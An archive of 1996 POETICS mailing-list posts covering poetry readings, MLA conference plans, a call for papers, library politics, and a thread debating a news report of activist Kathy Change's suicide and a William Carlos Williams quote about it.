On February 1, 1997, the ASU Art Museum
opens the exhibition with a happening of
Rituals and Performances by local and
national artists (8-10pm/Free).

A performance by artist Nick Cave will
take place April 4th.

Invitation/Preview/Press Information WebPage address...

http://asuam.fa.asu.edu/artedge/artedge.htm

Eight artists from across the U.S. and Canada
are featured in the exhibition:
Charles LeDray (New York), Christine LoFaso (Chicago),
Kerrie Peterson (Los Angeles), Elaine Reichek (New York),
Beverly Semmes (New York), Jana Sterbak (Quebec),
Nick Vaughn (Albuquerque), and Anne Wilson (Chicago).

A catalogue with essays by Jeremy Gilbert-Rolfe and
Heather S. Lineberry will be available February 1997.

'Art on the Edge of Fashion'
February 1, 1997 through April 27, 1997.
Arizona State University Art Museum

↑ Index

507. **Jordan Davis**
michael moore's reply
Thu 24 Oct 1996

At 12:30 PM 10/24/96, mad about you wrote:
>joe rites:
>..the teaching of composition as a distinctively middle-class pursuit, ...
>

I'm sorry, I missed the context for this line -- but I must say that's a distinctive tie you're wearing --

J

↑ Index

508. **Jordan Davis**
Poetry City Oct 24 NZ/TC
Thu 24 Oct 1996

Nick Zedd, director of "War Is Menstrual Envy", and
Todd Colby, who said "I like cake",
will be reading tonight at Poetry City. It's at 7 p.m.
Poetry City -- 5 Union Sq W 7th Fl -- NYC FREE

FREE so bring money to buy books we have
    Ange Mlinko's _Immediate Orgy and Audit_ $5
    Tim Davis's brand new _My Life in Politics_ $6
    Kim Lyons' early _In Padua_ $3
    Rod Smith's _In Memory of My Theories_ $10
    my own _A Little Gold Book_ $5
    Nick Zedd's _Bleed Part One_ $5
    Todd Colby's _Cush_ for an undisclosed sum
if you don't have them you're obsolete
as are we ain't it great
J

↑ Index

509. **Joe Amato**
Re: michael moore -Reply
Thu 24 Oct 1996

---

maria, yep, certainly there are folks who want to teach comp. strictly on this basis (i.e., bread & butter)... this is one basis for the argument about rhet/comp suiting the powers that be (most generally from a specific group of marxist scholars)...

i don't think it has to be this way... and i think dodie's experiences indicate how vexed the issues can be... the entire debate about 'standard english' (which many comp. teachers oppose) highlights why we need a better and broader public understanding of what higher ed. is all about... and i'd hate to think that it's all about more normalizing practices, even though it can often seem this way...

joe

↑ Index

510. **Robert Drake**
Re: Whatever you say say nothing -Reply
Thu 24 Oct 1996

Michael--

> *...but I*
> *would argue that poetry as a political act, as in a public act, is not*
> *possible today. Poetry has been disarmed...*

could you expand on this just a bit?? i mself find it almost impossible to see any language act as apolitical... & its always that kind of shortcoming in myself that benefits frm challange. are you saying that poetry is not a tactically efficent way of affecting political change? or something else? of course, if it's a shades-of-grey problem of how much weight to give to political content when e-valuating work, thats something different; and especially different from considering th formal significance of a poem's language in terms political...

sorry to take just 2 lines so out of context, the th absoluteness of "is not possible" struck me strongly, and close to my own concerns.

sincere
luigi

↑ Index

511. **Pritchett,Pat**
Re: Kathy Change
Thu 24 Oct 1996

---

t(ouch)e

From: Steve Shoemaker
To: Multiple recipients of list POETICS
Subject: Re: Kathy Change
Date: Thursday, October 24, 1996 3:28PM

"The perfect type of the man of action is the suicide."

--WCW, "The Descent of Winter"

On Wed, 23 Oct 1996, Pritchett,Pat @Silverplume wrote:

> I'm sorry, but I don't see the point of Ms. Change's actions, whom I've
> never heard of before. The implosive act of suicide has always struck me
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> the ultimate form of narcissism. Thank god, Gandhi, MLK, et al. never took
> such an attitude. An "alarm against Armageddon?" More like another
> advertisement.
>
> Patrick Pritchett
> ----------
> From: Louis Cabri
> To: Multiple recipients of list POETICS
> Subject: Kathy Change
> Date: Wednesday, October 23, 1996 2:04PM
>
>
> According to Hayley Thomas:
> From root Wed Oct 23 18:38:25 1996
> From: [redacted] (Hayley Thomas)
> Posted-Date: Wed, 23 Oct 1996 14:38:17 -0400 (EDT)
> Message-Id: <[redacted]>
> Subject: Kathy Change
> To: [redacted]
> Date: Wed, 23 Oct 1996 14:38:16 -0400 (EDT)
> X-Mailer: ELM [version 2.4 PL23-upenn3.1]
> MIME-Version: 1.0
> Content-Type: text/plain; charset=US-ASCII
> Content-Transfer-Encoding: 7bit
> Sender: [redacted]
> Precedence: bulk
>
>
> > Dear Folks,
>
> Here's the Associated Press's take on Kathy Change's life and death, as
> fowarded from the folklore listserv.
>
> Hayley Thomas
>

>
> > >> PM-Penn Suicide,0315
> > >> Activist at Penn Campus Sets Self On Fire, Dies
> > >> PHILADELPHIA (AP) - An activist whose protests for world peace
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> > >> on campus by setting herself on fire in a final attempt to draw
> > >> supporters to her cause.
> > >> Kathy Change, 46, doused herself with gasoline Tuesday morning
> > >> and ignited it, sending flames 10 feet high as about 50 people
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> > >> A university police officer, rushing to check out the fire,
> > >> threw his jacket over Change and rolled her on the ground to
> > >> smother the flames. She was pronounced dead at a hospital 25
> > >> minutes later.
> > >> Police said they found suicide notes in a push cart about 15
> > >> feet from where Change killed herself.
> > >> Change had delivered packages of her writings to six students
> > >> and two local residents about 2+ hours before killing herself, the
> > >> campus newspaper, The Daily Pennsylvanian, reported.
> > >> "My real intention is to spark a discussion of how we can
> > >> peacefully transform our world," Change wrote in a three-page
> > >> statement dated Oct. 7 that was included in the package, the
> > >> newspaper reported. "I offer myself as an alarm against Armageddon
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> > >> Change, who changed her name from Chang to reflect her
> > >> commitment to political reform, had frequently danced and displayed
> > >> flags on the Penn campus over the past 15 years to promote her
> > >> belief that America and the world must be transformed into truly
> > >> democratic societies.
> > >> In one of her writings, Change wrote that she hoped her suicide
> > >> would help to promote her ideas on government, the economy, law and
> > >> morality.
> > >> "I want to give my message as much impact as possible," she
> > >> wrote. "I truly believe that my death will make people more
> > >> sympathetic towards me and interested in my work and ideas."
> > >>
> > >> (Copyright 1996 by The Associated Press. All Rights Reserved.)
> > >>
> > >> AP-NY-10-23-96 0542EDT
> > >>
> > >>
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> >
> >
==========
> > Steve Winick
> > Folklorist/Journalist/Educator
> >
> > 400 s. 45th st. #A3
> > Philadelphia, PA 19104
> > [redacted]
> > http://www.sas.upenn.edu/~swinick
> >
> > "The rank is but the Guinea stamp
> > The man's the gowd for a' that."
> >
==========
> >
> >
> >
>

Steve Shoemaker

↑ Index

512. Louis Cabri

p p p p

Thu 24 Oct 1996

There's the politics of representation, or, representational politics, and its poetic analogies

but then there's
what Steve McCaffery calls
quoting someone (not sure who)
the statement that

Poetry is politics that stays politics

which is something else, completely, diffff

↑ Index

513. Wendy Battin
Re: that poem by Seamus Heaney, for Wendy Battin
Thu 24 Oct 1996

Thanks, Douglas. I'll try to get it from the library.

Re mr fennell::
Think there's some saying on the order of "Who sows fennel will reap sorrow." But never mind.

Wendy

On Thu, 24 Oct 1996, Douglas Barbour wrote:
> I finally got the news
today: the poem was "Whatever you say say nothing",
> which she had in Heaney's _New Selected Poems 1965 - 1987_, a book I dont > have. I do have
this memory of having come across it somewhere, but...

↑ Index

514. Tony Green
Re: A Parade of Theories
Thu 24 Oct 1996

& will Jonah's suspension for a spear-tackle keep him out of the NPC final? talk-back callers are divided on this issue TGNEWS

Tony Green,
e-mail: [redacted]

↑ Index

515. Tony Green
Taking a break
Thu 24 Oct 1996

Hi Poetics-listers, this is just to say I'm unsubscribing for a while, and many thanks for all the conversations. My e-mail address remains as is for the time being and my snail-mail for anyone who shd chance to want to write or send me a book or mag or Christmas card or Chanukah present is

Unit 3, 27 Rangatira rd, Birkenhead, Auckland, 1310, Aotearoa/New Zealand.

all the best

Tony Green,
e-mail: [redacted]

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516. robert zamsky
Poesis & Politics
Thu 24 Oct 1996

I must say, I'm very intrigued with the recent discussion of poetry as political or not. It seems to me that there are many poets who pick up on the surrealist influence of an interest in language and poetic form themselvs as political issues. These conventions constitute our notions of identity, so it seems to me that perhaps the ultimate location for a liberation of identity (i.e. a political revolution at the ontological level) is within the realm of linguistic and formal play. Here, language and social order confront and implicate one another. Poetry is hardly robbed of its social influence -- if we choose to look at poetry in a somewhat more "poetic>" sense (as I think most of this list does), then we can derfinitely see how forms of comjmunication influence notions of identity and agency. Just a thought, and please excuse my typo's -- my modem is a bit stupid.

Rob Zamsky

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517. Steve Carll
Mountain Goats
Thu 24 Oct 1996

At 12:01 AM 10/23/96 -0400, Keith Tuma wrote:

> *Hey all you listers out there with detailed and arcane knowledges of musics pop and otherwise, what can you tell me about The Mountain Goats?*

I had an article on John Darnielle (who pretty much IS The Mountain Goats) from a recent s.f. free alternative weekly lying around somewhere, but I must have already mailed it to someone, 'cause I can't find it. And unfortunately I have no memory of much that it said about him.

When I saw him play an in-store show at the new location of Aquarius Records recently, his throat was sort of scratchy but it didn't detract from his charm. He definitely IS literary (he introduced one song by saying, "This next one wins the award for Most Pretentious Song Title of the Year: it's called "Song for the Julian Calendar") but his singing and playing are, to me anyway, dead earnest which (again, to me) blows any possible pretention out of consideration. He was accompanied on a few songs by Australian violinist (also guitarist) Alistair Galbraith. Their collaborations were ragged but delicate and haunting.

Oh, I did remember one Darnielle quote. Because his albums are recorded on four-track machines and such, he's often labelled as part of the "lo-fi"movement, and the implied reduction of music to its recording medium irritates him,

because after all, he says, "you wouldn't ask a writer if he's part of a 20-pound bond movement."

{{{

[tv ad for instant coffee: {negation of modernism's
evg sunset, couple on ...divided by... "ordinary evg,"
cottage jetty, twinkling romanticism's
waves, dog, laptop] "twilight" (of idols etc),
of negation itself,
contrasted w/
an afternoon
at the office, profes-
sional managerial class}

...times...

(only "theoretical jetties," not a unified, general
theory, only forces of interpretation "not yet
subject, project, or object," nor rejected outright.
--J. Derrida,"Some Statements and Truisms About
Neologisms, Newisms, Postisms, Parasitisms, and
other small Seismisms.")

...minus... "jetee," (Fr.) to throw away

...plus...

{indeterminacy introduced
by the 'productive reader'
who inserts name of a famous
critic here)

...is greater than or hardly equal to...

Charles Bernstein's "An Afternoon on the Jetee"
(Arras #3)

↑ Index

520. henry gould
Re: Kathy Change
Fri 25 Oct 1996

> "*The perfect type of the man of action is the suicide.*"
>
> --*WCW, "The Descent of Winter*"

This seems to me the perfect type of the pretentious, brahminical, superficial formulation of the "writer trying to be clever". - Henry Gould

↑ Index

521. Henry Gould
there was a reading in Providence
Fri 25 Oct 1996

Your intrepid lil Rhody motormouth attended excellent reading here yesterday, down at the Cable Car, the quaint cinema lounge with the spongy loveseats. Mark McMorris (say that 20 times with pebbles in yr motor) & Joshua Saul Beckman, 2 very fine poets, leaned on the tv set (fortunately turned off) & read for about 40 mins each. McMorris is a subtle & strong writer, the refined sound/vocab & swift flow of images made me think of Montale a little (the mention of :"Genoa" in _Moth Wings_ keyed me onto it - am I on the right track?). Joshua Beckman, remarkably original writer, something between prose/poetry/performance art/storytelling, wonderful surrealism with a lot of thought, heart, Whitman-kindness-compassion. Very funny too. His paragraphs on the joy of being an adult especially etc. Beckman publishes "Object Lesson" a serial of unique conceptions. Providence is brimming with poesis up to its ear-canals (the revamp of downtown makes it look like St. Petersburg or Venice too).

p.s. check the poetics archives at http://wonderblob.fashion.digest to get the details on what they were wearing. - Henry Gould

↑ Index

522. James Brook
a librarian on libraries--and librarians
Fri 25 Oct 1996

All--

What follows is the posting of a librarian who's very critical of a certain
drift in libraries and in his profession. He takes his interlocutors on the
autocat newsgroup to task for their knee-jerk reactions to Nicholson Baker's
"The Author vs. the Library" in the October 14 New Yorker.

--James Brook

P.S. to Ron Silliman: In Cathy Simon's article in Representations 42 ("A Civic Library
for San Francisco") I find this quotation: "The function of a library is elemental:
it is the house of the book, a building used to store and conserve books. It is a
promoter of books, words, and literacy." I wish she had adhered to this

elemental
building program--the San Francisco New Main is an antibook environment. There's
no room for the existing collection, no room to store books for reshelving, no
room for expansion, no UV glass in the skylights, human circulation within the
building is difficult, there's not enough room for the patrons. . . . But there's
plenty of room for the Bank of America, the Gap & Co. As well as a gift shop and
a cafe. Cathy Simon may be a good or even great architect in other respects, but
the New Main doesn't work as a library, as eloquent and detailed testimony from
some two dozen pages at a recent Library Commission meeting reaffirmed.

- - - - - - - - - - - - - - - - -

Subject: Re: Baker rebuttal
From: Joseph Blackburn <[redacted]>
To: AUTOCAT (automation catalogers) newsgroup

I sincerely hope that those of you who are so eagerly preparing rebuttals to Nicholson Baker's latest New Yorker article will kindly refrain from claiming to speak for librarians as a group or librarianship as a profession. You will likely not be speaking for those SFPL librarians who have made Baker their spokesman, nor, most likely, will you speak for me.

I would also kindly request that you not, speaking as a librarian, condemn Mr. Baker for statements he did not make. Mr. Baker is not opposed to weeding, for on p. 52 of the New Yorker he speaks well of the practice and provides a definition that would do a library school student proud. What he opposes, among other things, is the way weeding was done at SFPL. Indeed, he criticizes City Librarian Dowlin for not adhering to Dowlin's own stated theory of weeding. If the recent weeds of the SFPL collection were anything like what Mr. Baker has described, then, in my opinion, a serious injustice has been done against our profession as well as against the people of San Francisco.

Do not then embarrass yourself by claiming that Mr. Baker is too ignorant understand the necessity of weeding. Do not claim that he is incapable of judging whether or not a book has value. (He does not claim, as was supposed in an AUTOCAT post, that all old books are valuable just because they are old, nor does he likely believe, as was also posted, that SFPL should retain an old phone book because he once underlined a number in it. He provides numerous

examples of books that may safely be withdrawn.) Do not claim that he would forbid you to discard moldly lettuce from your own refrigerator, as was said as well, and stunningly, on AUTOCAT. (What he would forbid you to do is to allow a book placed in your care to mold and then to be discarded without any attempt to ascertain its value or uniqueness.)

When Mr. Baker's appreciation of card catalogs was published, it was implied by some AUTOCATs that Baker must be too thick to handle an one of our state-of-the-art online catalogs. He later proved on this very forum that he not only knew how to use the University of California's system, he knew its strengths and weaknesses better that many of his critics. Beware his sting.

And since I've mentioned card catalogs, it should perhaps be noted here, as I cannot recall seeing it mentioned elsewhere, that Mr. Baker provides a very good reason for not discarding SFPL's card catalog in favor of exclusive reliance on the online system, viz, that the online catalog apparently does not include all of the books! What's the next step, using the lack of a card catalog as an excuse to trash any book not in the online catalog?

I would also suggest that you not imply that Mr. Baker's vision of libraries and librarians is not a valid one merely because it is at variance with your own vision. That you may or may not have majority support is irrelevant.

I know that Mr. Baker loves libraries, and I believe that he loves librarians. He at least loves what he thinks we are. I think that he believes that librarians are the preservers and promoters of the cultural, intellectual, and social history of humanity. When he encounters a library which "has built into it a contempt for, or at least an indifference to, literary culture and its requirements" (p. 59), he wants to scream out a warning, to us as well as to the public. When he encounters a librarian built in a similar fashion, his instincts are the same. Personally, I think it unfortunate that librarianship is not what he thinks it is. I certainly remember my own shock at discovering that librarianship was a job, not a calling, and that librarians as a group were no more likely to be devoted to "literary culture and its requirements" than were the members of any other profession. But still, I am here.

San Francisco City Librarian Dowlin's philosophy is probably, just as Nicholson Baker fears, the current ruling philosophy of our profession. It is certainly a valid point-of-view, more especially so in a time when the public in general seems to have no interest whatsoever in funding a commitment to comprehensive research collections. Still, I think it sad that our (if I may be so bold, Mr. Baker) vision of what a great city library should be must not only be superseded, it must be physically destroyed. Perhaps that is, in its own way, a testament to the power of our ideas and our ideals.

Joseph Blackburn [redacted] Assistant Director of Technical Services [redacted] Library of the Health Sciences Fax: [redacted]
Texas Tech University Health Sciences Center Lubbock, TX 79430

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523. Henry Gould
Sonnet With Dog In It
Fri 25 Oct 1996

Here's something with a dog in it, Jordan. Forgive & delete, all! - Henry G

8

A small tree (almond, dogwood) flowering in your eyes
leafs through my spine, speaks volumes (my needle betrays).

Maple leaf like a reef of sharp-eyed coral
or hand cut by a blue glass frisbee
(your hand shakes: it's constitutional in our society)
insinuating states of _etats-unis_
or "marriageable rose some truant lips annul"

That sheepdog would play in my summer's unruly realm
but then she's furred as well for wolfish winter
(one sheepshank: constellational insanity)
A stratagem of light nips & barks scotch banter &
morning roads are opening in her ample palm

& everywhere this Love comes home to me!
as every island road leads to the sea.

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524. Loss Glazier
[redacted]
Fri 25 Oct 1996

I and other gfolks will be involved in a couple of interesting panels at MLA
and I invite you to check out details on an interesting page John Lavagnino
has set up. Set your Netscape browser to
    http://www.ach.org/mla96
and have a look!

        Hey, is that your pet's picture on your MasterCard?
>   ----------   <
> | Loss Glazier <[redacted]> | <

> | Electronic Poetry Center | <
> | http://writing.upenn.edu/epc | <
> ---------- <

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525. **maria damon**
Re: [redacted]
Fri 25 Oct 1996

---

yeah let's start making mla plans like we did last year. i'm gonna be talking about hannah weiner, that paper you all helped me with, on a panel on history, ecstasy and lyric. i notice that some of my favorite white boys have cornered the market on poetry of the african diaspora organized by the poetry division. for those of you who don't know michael eldridge (the only person on that panel not known to the poetix list), he was a student here at u mn and now works at humboldt state. a smart guy and pretty hip, a postcolonialist into caribbean stuff. also, walter lew and kimiko hahn are reading. juliana chang is talking aobut jessica hagedorn and there's a whole panel on slams. speakig of which, at the upcoming rethinking marxism conf at amherst i'll be on a panel called revolution of the word, with amitava kumar and some others i don't know talking about slams, populist poetics etc. ben friedlander is talking about levinas on the jewish cultural studies panel. i notice lisa s, charles b and barrett w are confabulating on laura (ingalls) riding at the little hotel in the big national capital. where shd we plan to gather this time? since i may be on a search committee, i may be spending all my non-talk time in a small room fulminating at the small handful of colleagues whom i adore and making life hell for some brilliant dissertation-finisher, but i can dash out for a coffee with a poetixer or 2. md

In message <[redacted]> UB Poetics
discussion group writes:
> I and other gfolks will be involved in a couple of interesting panels at MLA
> and I invite you to check out details on an interesting page John Lavagnino
> has set up. Set your Netscape browser to
> http://www.ach.org/mla96
> and have a look!
> ---
> Hey, is that your pet's picture on your MasterCard?
> > ---------- <
> > | Loss Glazier <[redacted]> | <
> > | Electronic Poetry Center | <
> > | http://writing.upenn.edu/epc | <
> > ---------- <

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526. Loss Glazier

[redacted]

Fri 25 Oct 1996

>I and other gfolks will be involved in a couple of interesting panels at MLA
>and I invite you to check out details on an interesting page John Lavagnino
>has set up. Set your Netscape browser to
> http://www.ach.org/mla96
>and have a look!

I forgot to mention. The two panels are "Digital Poetics" and "Hypertext and Poetry" - both under the rubric of POETRY AND COMPUTERS.

Congratulations to John for bringing some alternatives to MLA!

| Loss Glazier <[redacted]> |

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527. Loss Glazier

Re: [redacted]

Fri 25 Oct 1996

>where shd we plan to gather this time? since i may be on a search
>committee, i may be spending all my non-talk time in a small room fulminating at
>the small handful of colleagues whom i adore and making life hell for some
>brilliant dissertation-finisher, but i can dash out for a coffee with a poetixer
---
Or what about one of the evenings? Can we set up something like that? Is there any good lobster in DC.
PS. I once went to the most fabulous Salvadorian restaurant on earth there!
I could phone and find out... Vamos a comer!

| Loss Glazier <[redacted]> |

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528. **maria damon**
Re: CALL FOR PAPERS
Fri 25 Oct 1996

Conference: Cross-Cultural Poetics
Dates: October 16-19, 1997

The conference described below will be part of a series of events including readings and performances by local and national poets, ethnographers, story-tellers and community cultural workers.

Despite artificial disciplinary barriers, ethnographers & poets have in recent years come to realize how similar their projects are. Cross-Cultural Poetics seeks to address the increasingly untenable boundaries between poetic & ethnographic practices. The conference will focus on the role of poetry in the on-going discourses of multiculturalism, ethnography, and literary theory and practice. While recent years have seen a debate in "how culture is written (about)" and most of these debates make extensive use of the term "poetics," poetic discourse itself has not been foregrounded as a significant measure and critique-mechanism in the matrix of cultural writings. Construing the term "poetry" fairly broadly, we invite poets and scholars working in a broad range of fields -- anthropology, urban studies, ethnic studies, folklore, literature and literary theory, sociology, history, publishing, film, American studies, performance studies, ethnomusicology, cultural studies, etc. -- to propose readings, papers or panels that address one or more of the following areas:

- Comparative Poetries &/or Poetic Traditions
- Oral/Literate Interfaces or Standoffs
- Anthropological Methodologies Applied to Poetic Texts, Communities, Events, or
Individual Poems or Poets
- Ethnography as Poetry/Poetry as Ethnography
- Ethnic, Folkloric & Vernacular Poetries
- Poetry as Cultural & Social Praxis
- Poetry as Cultural & Social Critique
- Constituting Communities through Poetic Activity
- Poetry as Mass Culture
- Poetry & the Public Sphere
- The Anthropology of Writing & the Writing of Anthropology
- Representing Self/Other: poetic "Auto-ethnographies"?
- Issues in Cultural Translation
- "Ethnopoetics": Reappraisals?
- Poetry & Other Media (Song Lyrics, Music, Film, Movement, Visual Arts, etc.)

- Close Readings of &/or Listenings to Ethnographic Documents
- The Poetics of Thick Description
- Ritual, Play, etc. as Elements in Poetic Composition
- The Act of Inscription: Fieldnotes, Notebooks, etc.
- The Cultural Migration of Texts
- Hybridization of Genres & Traditions

PAPERS, WRITING SAMPLES (FOR POETS WANTING TO READ) AND PANEL PROPOSALS (a 1-2-page abstract) should be sent by March 15, 1997 to Maria Damon, English Dept., 207 Lind Hall, University of Minnesota, Minneapolis MN 55455.

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529. Matt Kirschenbaum
Re: [redacted]
Fri 25 Oct 1996

Loss and others,

I notice that the Digital Poetics panel, of which we're both a part, is scheduled at the same time as Lisa's L(R)J session. So much for the amount of MLA band-with allotted to "alternatives."

(Actually, I know that the timing wasn't deliberate, but it's still frustrating since I suspect the two panels will have audiences in common.)

--Matt

> *I and other gfolks will be involved in a couple of interesting panels at MLA and I invite you to check out details on an interesting page John Lavagnino has set up. Set your Netscape browser to*
> *http://www.ach.org/mla96*
> *and have a look!*
> *---*
> *I forgot to mention. The two panels are "Digital Poetics" and "Hypertext and Poetry" - both under the rubric of POETRY AND COMPUTERS.*
>
> *Congratulations to John for bringing some alternatives to MLA!*

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center

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530. **maria damon**
Re: [redacted]
Fri 25 Oct 1996

---

great ethiopian food too i hear. why not make a moveable feast of it. md

In message <[redacted]> UB Poetics
discussion group writes:
> >where shd we plan to gather this time? since i may be on a search
> >committee, i may be spending all my non-talk time in a small room
> fulminating at
> >the small handful of colleagues whom i adore and making life hell for some
> >brilliant dissertation-finisher, but i can dash out for a coffee with a
> poetixer
> ---
> Or what about one of the evenings? Can we set up something like that? Is
> there any good lobster in DC.
> PS. I once went to the most fabulous Salvadorian restaurant on earth there!
> I could phone and find out... Vamos a comer!
>
> ----------
> | Loss Glazier <[redacted]> |
> ----------

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531. **Loss Glazier**
Re: [redacted]
Fri 25 Oct 1996

Drat! Just terrible!!!!

>I notice that the Digital Poetics panel, of which we're both a
>part, is scheduled at the same time as Lisa's L(R)J session. So
>much for the amount of MLA bandwith allotted to "alternatives."

  | Loss Glazier <[redacted]> |

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532. Loss Glazier
EPC in Public
Fri 25 Oct 1996

----
http://writing.upenn.edu/epc

Some recent good press re the Electronic Poetry Center (EPC)
So look at:
-- PMLA p. 988 (Sept. 1996)
-- current issue of Poets & Writers (Nov./Dec. 1996)
-- Yahoo: Internet Life (Dec. 1996 issue I believe - a review - let me know if you see this)
-- Chronicle of Higher Ed. (we're supposed to be featured Internet resource next week I think) + an article on Creeleyfest in that issue

> ---------- <
> | *Loss Glazier <[redacted]>* | <
> | *Electronic Poetry Center* | <
> | *http://writing.upenn.edu/epc* | <
> ---------- <

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533. Loss Glazier
Re: Mountain Goats
Fri 25 Oct 1996

> *Oh, I did remember one Darnielle quote. Because his albums are recorded on four-track machines and such, he's often labelled as part of the "lo-fi"movement, and the implied reduction of music to its recording medium irritates him, because after all, he says, "you wouldn't ask a writer if he's part of a 20-pound bond movement."*

This is just the movement I'd be interested in!
Think of the small press - that 'lo-fi' was part of the project ...

| Loss Glazier <[redacted]> |

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534. **Aldon L. Nielsen**
Re: [redacted]
Fri 25 Oct 1996

Haven't seen the MLA program yet out here in the mountains -- trust it's on the way --

Going to be in DC ahead of the conference, to do some research at Howard -- if anybody else is going ahead of the starting time, let me know --

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535. **Aldon L. Nielsen**
Re: Called Fur papers
Fri 25 Oct 1996

Maria -- Thanks for thinking to post a call well in advance of the conference -- Those of us who are at instutions that do not pay for our conference travel need lots of time to write proposals for $$$, or to save up same -- I want to be there in October, so will whip up a proposal for y'all

we aren't even an "institution," just a lowly "instution"

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536. **Jennifer-Alan**
Re: Kathy Change
Sat 26 Oct 1996

It's also incoherent and ugly; it would not be difficult to deconstruct "man," "action," "perfect," "type," here. I only wonder what the context is, and whether it's redemptive.

Alan feeling oddly religious towards no end

On Fri, 25 Oct 1996, henry gould wrote:

> *"The perfect type of the man of action is the suicide."*
>
> *--WCW, "The Descent of Winter"*
>
> *This seems to me the perfect type of the pretentious, brahminical, superficial formulation of the "writer trying to be clever".*
> *- Henry Gould*

---

http://jefferson.village.virginia.edu/~spoons/internet_txt.html images:
http://www.cs.unca.edu/~davidson/pix/ [redacted] CuSeeMe 166.84.250.149

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537. **maria damon**
Re: Kathy Change
Sat 26 Oct 1996

---

interesting point, these are all words nietzsche used to great sardonic, self-imploding, deconstructive effect. can we trust williams to be so knowingly ironic?
md

sondheim writes:
> It's also incoherent and ugly; it would not be difficult to deconstruct
> "man," "action," "perfect," "type," here. I only wonder what the context
> is, and whether it's redemptive.
>
> Alan feeling oddly religious towards no end
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> On Fri, 25 Oct 1996, henry gould wrote:
>
> > >
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> > >
> > > --WCW, "The Descent of Winter"
> >
> > This seems to me the perfect type of the pretentious, brahminical,
> > superficial formulation of the "writer trying to be clever".
> > - Henry Gould
> >
>
> _____
> http://jefferson.village.virginia.edu/~spoons/internet_txt.html
> images: http://www.cs.unca.edu/~davidson/pix/
> [redacted] CuSeeMe 166.84.250.149

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538. **maria damon**
scary message
Sat 26 Oct 1996

---

hey guyzies, did anyone else get a message from "[redacted]." or something like that? it brought my system to its knees and i had to throw it out w/out ever knowing what it was (couldn't open it) or who it was from, whether it was a goodfaith-but-too-long message my machine couldn't handle, or a malevolent blitz from somewhere mysterious. any light that can be thrown on this matter wd be appreciated, esp if someone --on this list, for example-- WAS trying to send me a longish paper or something. md

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539. **maria damon**
Re: Called Fur papers
Sat 26 Oct 1996

---

hope you can make it; the funding folks want to be real generous so the conference registration fee, at least, will be low; we're trying to get brathwaite, ted joans, leslie marmon silko, d tedlock etc, shd be a poetic orgy... do you know about mark nowak's new journal cross-cultural poetics? you might think of submitting something on diasporic avantgards or some thing...your kaufman talk? md

In message <[redacted]> UB Poetics
discussion group writes:
> Maria -- Thanks for thinking to post a call well in advance of the
> conference -- Those of us who are at instutions that do not pay for our
> conference travel need lots of time to write proposals for $$$, or to
> save up same -- I want to be there in October, so will whip up a proposal
> for y'all
>
> we aren't even an "institution," just a lowly "instution"

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540. **Steve Shoemaker**
Re: Kathy Change
Sat 26 Oct 1996

This raises good questions. I posted the WCW quote not as an oracular statement from on high, but because i had just read it right before i read Patrick Pritchett's post on the Change incident, and because it seemed to belong in dialogue with Pritchett's comments (i wasn't trying to get a touche(') or "ouch"

response). The context in DW is not immediately clear, and since i was only skimming thru i'm not prepared to make a holistic reading. I'm not really sure how WCW wanted it to be read. Quite possible, for ex., that it *cld* be meant as a critique of the "man of action." Don't know right now what a more thorough reading of DW wld yield. I'm not sure either what i ultimately think about the dynamics of martyrdom, but i will say i think "narcissism" is too reductive a label. This is all provisional and wishy-washy as hell, i know, but that's what i use this medium for. steve

On Sat, 26 Oct 1996, Jennifer-Alan wrote:

> *It's also incoherent and ugly; it would not be difficult to deconstruct "man," "action," "perfect," "type," here. I only wonder what the context is, and whether it's redemptive.*
>
> *Alan feeling oddly religious towards no end*
>
> *On Fri, 25 Oct 1996, henry gould wrote:*
>
> *"The perfect type of the man of action is the suicide."*
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> *--WCW, "The Descent of Winter"*
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> *This seems to me the perfect type of the pretentious, brahminical, superficial formulation of the "writer trying to be clever".*
> *- Henry Gould*
>
> ---
> *http://jefferson.village.virginia.edu/~spoons/internet_txt.html*
> *images: http://www.cs.unca.edu/~davidson/pix/*
> [redacted] *CuSeeMe 166.84.250.149*

Steve Shoemaker

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541. **James Brook**
situationist archives on line
Sat 26 Oct 1996

You may be interested--who knows?--in discovering that there's a "Situationist International Archive" at

http://www.nothingness.org/SI

Many situationist and pre-situationist texts can be found there in English and in French. There are also some press clippings, notably those relating to Guy Debord's death. Also related to Guy Debord's death--and life--is a poem of mine, "Stanzas on the Death of Guy Debord," which the curious can dig out with a click on

http://www.nothingness.org/SI/simisc/stanzas.html

--James Brook

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542. Jordan Davis
Colby 20, Zedd 3 (65)
Sat 26 Oct 1996

Colby 20, Zedd 3 (65) at Poetry City, 7 p.m. 10/24.

Time: C (25 mins), Z (33 mins)
Attendance: 25

Spoken-word diva Todd Colby and sardonic red-head Nick Zedd read work at Poetry City last Thursday. Colby, a part-time rock star whose animated delivery included waving his hands and his head from side to side, kept a consistent one laugh-to-poem ratio over a set of twenty poems, garnering four rounds of applause for what he referred to as 'my crazy poems' ("Twins", "Big Boy", "Hot Pig" and "Bull By the Horns"). New Yorkers fondly remember Colby as the fair-haired one who got Books and Co to stock contemporary poetry down among the fiction, and there were references to a certain landscape of poetry throughout his work, which tends toward the user-hostile surreal ("angels driving fork-lifts across meats", "where angels have migraines", "the tiger who became butter", "meat is glamorous", "Metal Sweats Mahogany Dogs"). Colby removed his sweater early on, performing in a light blue short sleeve shirt, silver watch, blue jeans, and brown shoes.

There was a brief intermission, and then Anna Malmude introduced Nick Zedd. Filmmaker Zedd, author of _Bleed Part One_ (Hanuman, come back!), read three chapters of a new prose work, apparently an autobiographical novel. The narrative as it stood consisted of episodes in bars, cabs, beds and grocery stores. Zedd clocked an amazing 65 laughs. Much of the Zedd-effect comes from the apparent contradictions -- dyed-red hair, surly expression, brusque affect, clear prose, and a nasty-but-sweet sense of humor. Like a punk version of Saturday Night Live's Norm MacDonald, or an unsaleable Sandra Bernhard, Zedd records the total obvious stupidity of one kind of everyday life in New York. Some lines: "I've tried screwing girls in toilets before and it always feels

desperate", "Isabel insisted on laughing at me at precise intervals", "Harrisburg, PA, where he'd been publishing a fanzine called NO FUTURE for the last five years", "'This is an Olympic Condom,' I announced", and "'It's turkey bacon, you fucked up!' 'If you want, I can go back and get bacon with fat on it.'" Zedd performed in a dark blue paramilitary jacket, black jeans, and pointy black boots. He delivered his prose looking down at the lectern, occasionally pausing (at odd moments) to look up at the audience. The reading concluded shortly after Zedd recounted walking out on a recent poetry reading.

In the audience were regulars Dug Rothschild, Karl Parker, Steve Malmude and Anselm Berrigan, and visiting poets Seph Rodney and Brenda Coultas.

--Jordan Davis

